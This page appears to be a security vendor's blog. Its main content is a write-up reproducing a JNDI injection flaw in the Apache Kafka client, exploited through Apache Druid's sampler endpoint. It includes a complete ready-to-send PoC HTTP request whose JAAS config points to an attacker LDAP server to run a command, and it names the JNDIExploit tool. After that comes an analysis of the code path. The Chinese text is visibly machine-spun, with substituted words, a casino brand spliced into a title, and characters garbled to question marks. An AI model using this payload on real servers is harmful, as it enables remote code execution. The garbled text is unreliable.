开源AI自主渗入测试框架Zen-Ai-Pentest部署与使用
2026-07-17
当我让AI员工实现H1盘点,他的交付……
2026-07-15
《“医保影像云”基础规范》数据安全要求梳理及尊龙凯时人生就是搏产品满足性分析
2026-07-09
新规来了!网络数据安全风险评估成为常态化要求,企业若何高效合规?
2026-07-06
开源AI渗入测试工具Z3r0部署与使用
2026-07-03
存储域
数据库加密 诺亚防勒索接见域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中央件运维服务 国产信创刷新服务 驻场运维服务 供数服务安全征询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理征询服务 数据分类分级征询服务 幼我信息风险评估服务 数据安全查抄服务
2.4.0<=Apache kafka<=3.2.2
其他影响:
0.19.0 <= Apache Druid <= 25.0.0
本次缝隙环境使用了durid,由于durid使用kafka-clients来衔接Kafka作为其数据源之一。
指标靶机:

Jndi主机:
通过JNDIExploit-master开启一个恶意jndi服务器。


Poc:POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 192.168.32.129:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1449{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

攻击成效:
docker exec -i -t [容器id] /bin/bash


/tmp/success 存在证明缝隙利用成功
bin\windows\zookeeper-server-start.bat config\zookeeper.properties bin\windows\kafka-server-start.bat config\server.properties
定位分析该接口具体的代码
@Path("/druid/indexer/v1/sampler")
public class SamplerResource {
@POST
@Consumes({"application/json"})
@Produces({"application/json"})
@ResourceFilters({StateResourceFilter.class})
public SamplerResponse post(SamplerSpec sampler) {
return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43
}
}
定位代码发现KafkaSamplerSpec接口的sample步骤具体实此刻父类

sample具体的实现是在SeekableStreamSamplerSpec类中。在KafkaProducer的机关函数中,会基于properties初始化ProducerConfig的事俘config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中创建ChannelBuilder:

而后当security.protocol为SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism时基于config信息?成 JaasContext的事俘,而后?成 SaslChannelBuilder事俘:

在new JaasConfig(globalContextName, dynamicJaasConfig.value())中会把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的事俘。而后调?channelBuilder.configure(configs)?法, 后?进入LoginManager.acquireLoginManager。
而后进入JndiLoginModule的login?法:userProvider以及groupProvider都不为null, 并且设置了 useFirstPass=true或tryFirstPass=true时城市进入attemptAuthentication?法,在这?会调? InitialContext事俘的lookup(userProvider)?法,从?导致JNDI注入。
综上, 只有攻击者能够节造kafka-clients衔接时的属性, 将属性的配置项security.protocol设置为SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值设置为 com.sun.security.auth.module.JndiLoginModule, 并且配置项中的userProvider以及groupProvider都不为null, 同 时设置了useFirstPass=true或tryFirstPass=true时, kafka client就会提议JNDI衔接, 从?导致JNDI注入缝隙。
流程图如下: